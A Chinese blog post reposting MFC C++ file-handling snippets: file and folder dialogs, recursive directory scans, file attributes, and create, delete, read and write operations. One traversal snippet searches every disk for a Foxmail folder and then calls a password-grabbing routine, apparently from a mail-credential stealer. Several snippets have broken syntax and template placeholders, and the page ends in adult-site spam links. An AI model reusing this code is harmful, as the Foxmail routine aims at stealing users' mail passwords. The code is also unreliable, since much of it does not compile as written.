• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            隨心動

            MFC文件(轉)

            轉自:http://blog.csdn.net/qqtian1110/article/details/5855203
            1、
            1//打開文件對話框 獲取路徑
            2    CFileDialog dlg(1,NULL,NULL,OFN_HIDEREADONLY ,"All Files(*.*)|*.*||");
            3    if(IDOK!=dlg.DoModal())
            4        return;
            5    FilePath = dlg.GetPathName();
            6
            2、
             1//打開文件夾 獲取路徑    
             2    BROWSEINFO   bi;       
             3    char   dispname[MAX_PATH],   path[MAX_PATH];       
             4    ITEMIDLIST   *   pidl;       
             5    bi.hwndOwner   =   0;       
             6    bi.pidlRoot   =   0;       
             7    bi.pszDisplayName   =   dispname;       
             8    bi.lpszTitle   =   "選擇文件夾";       
             9    bi.ulFlags   =   BIF_RETURNONLYFSDIRS;       
            10    bi.lpfn   =   0;       
            11    bi.lParam   =   0;       
            12    bi.iImage   =   0;       
            13    if (pidl = SHBrowseForFolder(&bi))//彈出文件夾瀏覽窗口,并選取目錄   
            14    {       
            15        if(  SHGetPathFromIDList(pidl,   path)   ==   TRUE   )   
            16            FilePath   =   path   ;   
            17        else   
            18            FilePath.Empty();  
            19        UpdateData(FALSE);
            20    }
            3、//遍歷每個磁盤下的所有文件、文件夾
             1void TCFindFile(CString FilePath)  
             2{  
             3    OutputDebugString("TCFindFile");  
             4    CFileFind find;  
             5    CString Dir = FilePath+"*.*";  
             6      
             7    BOOL res =find.FindFile(Dir);  
             8      
             9    //OutputDebugString(Dir);   
            10    if (!res)  
            11    {  
            12        OutputDebugString("DiskScanOver!");  
            13        return;  
            14    }
              
            15      
            16    while(res)  
            17    {  
            18        CString Filename;  
            19        CString tmp;  
            20        res = find.FindNextFile();  
            21        if (find.IsDirectory() && !find.IsDots())   //目錄是文件夾   
            22        {     
            23            Filename = find.GetFileName();  
            24            tmp = Dir.Left(Dir.GetLength() - 3+ Filename;  
            25            if (Filename == "Foxmail")  
            26            {  
            27                //執行后續操作   
            28                OutputDebugString(tmp);  
            29                TheRightFoxmailPath = tmp;  
            30                OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");  
            31                GetOnePassWord();  
            32                return;  
            33            }
              
            34            tmp += "//";  
            35            TCFindFile(tmp);  
            36        }
              
            37    }
              
            38}
            4、
             1//獲取指定目錄下的所有文件函數 
             2BOOL GetFileProc(CString strDir)  
             3{  
             4    CFileFind szFind;  
             5    char szTempFileFind[MAX_PATH];  
             6    sprintf(szTempFileFind, "%s//*.*", strDir);  
             7    BOOL IsFind = szFind.FindFile(szTempFileFind);  
             8    while(IsFind)  
             9    {  
            10        IsFind = szFind.FindNextFile();  
            11        if (!szFind.IsDots())   //掉除"."/".."   
            12        {  
            13            if (!szFind.IsDirectory())  //不是目錄   
            14            {  
            15                char szFoundFileName[MAX_PATH] = "/0";  
            16                lstrcpy(szFoundFileName, szFind.GetFileName().GetBuffer(MAX_PATH));  
            17                  
            18                if (szFoundFileName[0]))  
            19                {  
            20                    char szTempFile[MAX_PATH];  
            21                    sprintf(szTempFile, "%s//%s", strDir,szFoundFileName);  
            22                      
            23                    //處理這個文件   
            24                }
              
            25            }
              
            26        }
              
            27    }
              
            28    szFind.Close();  
            29    return TRUE;  
            30}
             


            5、轉自:http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
             1//MFC 獲取文件屬性 
             2
             3UpdateData(TRUE);
             4//在打開文件對話框中選擇文件
             5CFileDialog FileDlg(TRUE,NULL,NULL,OFN_HIDEREADONLY, "All Files (*.*)|*.*||");
             6//如果未打開文件,則返回
             7if (FileDlg.DoModal()==IDCANCEL) return;
             8//獲取打開文件的路徑
             9m_strFileName=FileDlg.GetPathName();
            10//聲明文件屬性變量
            11CFileStatus status;
            12
            13CFile::GetStatus(m_strFileName, status);
            14//獲取文件名
            15m_strFullName.Format("文件名: %s",status.m_szFullName);
            16//獲取文件大小
            17m_strSize.Format("文件大小: %d字節",status.m_size);
            18//獲取文件的創建時間
            19    m_strCreateTime=status.m_ctime.Format("創建時間: %Y年%m月%d日 %H:%M:%S");
            20//獲取文件的修改時間
            21m_strModifyTime=status.m_mtime.Format("修改時間: %Y年%m月%d日 %H:%M:%S");
            22//獲取文件的最后訪問時間
            23m_strAccessTime=status.m_atime.Format("訪問時間: %Y年%m月%d日");
            24//獲取文件屬性
            25m_strAttribute.Format("屬性: %s%s%s%s",
            26   (status.m_attribute&CFile::readOnly) == CFile::readOnly  ? "只讀 ":"",
            27   (status.m_attribute&CFile::hidden) == CFile::hidden ? "隱藏 ":"",
            28   (status.m_attribute&CFile::system) == CFile::system ? "系統 ":"",
            29   (status.m_attribute&CFile::archive) == CFile::archive ? "存檔 ":"");
            30
            31UpdateData(FALSE); 
            //網上下載
             1//1.創建文件夾 
             2    CreateDirectory(%%1,NULL);
             3 //2.創建文件 
             4    CFile file; 
             5    file.Open(%%1,CFile::modeCreate|CFile::modeWrite);?
             6 //3.刪除文件 
             7    DeleteFile(%%1);
             8 //4.刪除文件夾 RemoveDirectory(%%1);
             9 //5.刪除一個目錄下所有的文件夾 
            10    CFileFind finder;
            11    BOOL bWorking = finder.FindFile(%%1+"\\*.*");
            12    while(bWorking) 
            13    {
            14        bWorking = finder.FindNextFile(); 
            15        if(finder.IsDirectory()) 
            16        {
            17            dir.Delete(finder.GetFilePath()); 
            18        }
             
            19    }

            20 //6.清空文件夾 
            21    RemoveDirectory(%%1);
            22    CreateDirectory(%%1,NULL)
            23 //7.讀取文件 
            24    char sRead[1024]; 
            25    CFile mFile(_T(%%1),CFile::modeRead); 
            26    while(sRead!=null
            27    {
            28        mFile.Read(sRead,1024); 
            29        CString %%2 = CString(sRead); 
            30    }

            31 //8.寫入文件 
            32    CFile mFile(_T(%%1),CFile::modeWrite|CFile::modeCreate);
            33    mFile.Write(%%2,sizeof(%%2)); mFile.Flush(); mFile.Close();

            posted on 2012-07-15 23:31 陳志遠 閱讀(333) 評論(0)  編輯 收藏 引用

            導航

            <2012年7月>
            24252627282930
            1234567
            891011121314
            15161718192021
            22232425262728
            2930311234

            統計

            常用鏈接

            留言簿

            隨筆檔案

            文章分類

            Othor's blog

            搜索

            最新評論

            閱讀排行榜

            評論排行榜

            久久婷婷五月综合色奶水99啪| 久久久SS麻豆欧美国产日韩| 久久99免费视频| 91精品久久久久久无码| 一97日本道伊人久久综合影院| 国产免费久久精品99re丫y| 久久精品国产亚洲AV无码偷窥| 伊人久久大香线蕉精品| 久久精品国产亚洲AV忘忧草18| A狠狠久久蜜臀婷色中文网| 久久精品二区| 丰满少妇高潮惨叫久久久| 伊人久久一区二区三区无码| 精品国产一区二区三区久久久狼| 亚洲狠狠久久综合一区77777 | 久久婷婷国产综合精品| 久久99精品九九九久久婷婷| 老色鬼久久亚洲AV综合| 欧美日韩精品久久久久 | 国产精品嫩草影院久久| 久久超碰97人人做人人爱| 久久婷婷是五月综合色狠狠| 国产成人精品久久综合 | 国产ww久久久久久久久久| 久久亚洲私人国产精品vA| 久久久久久久91精品免费观看| 国产精品久久久天天影视香蕉 | 久久精品国产亚洲av日韩| 久久亚洲国产成人影院| 久久人人爽人人精品视频| 91性高湖久久久久| 久久99国产精品久久99| 国产精品久久精品| 国产亚洲婷婷香蕉久久精品| 亚洲国产另类久久久精品黑人| 中文字幕久久精品| 亚洲欧美日韩久久精品| 久久这里都是精品| 97精品伊人久久大香线蕉| 精品一二三区久久aaa片| 一本一道久久综合狠狠老|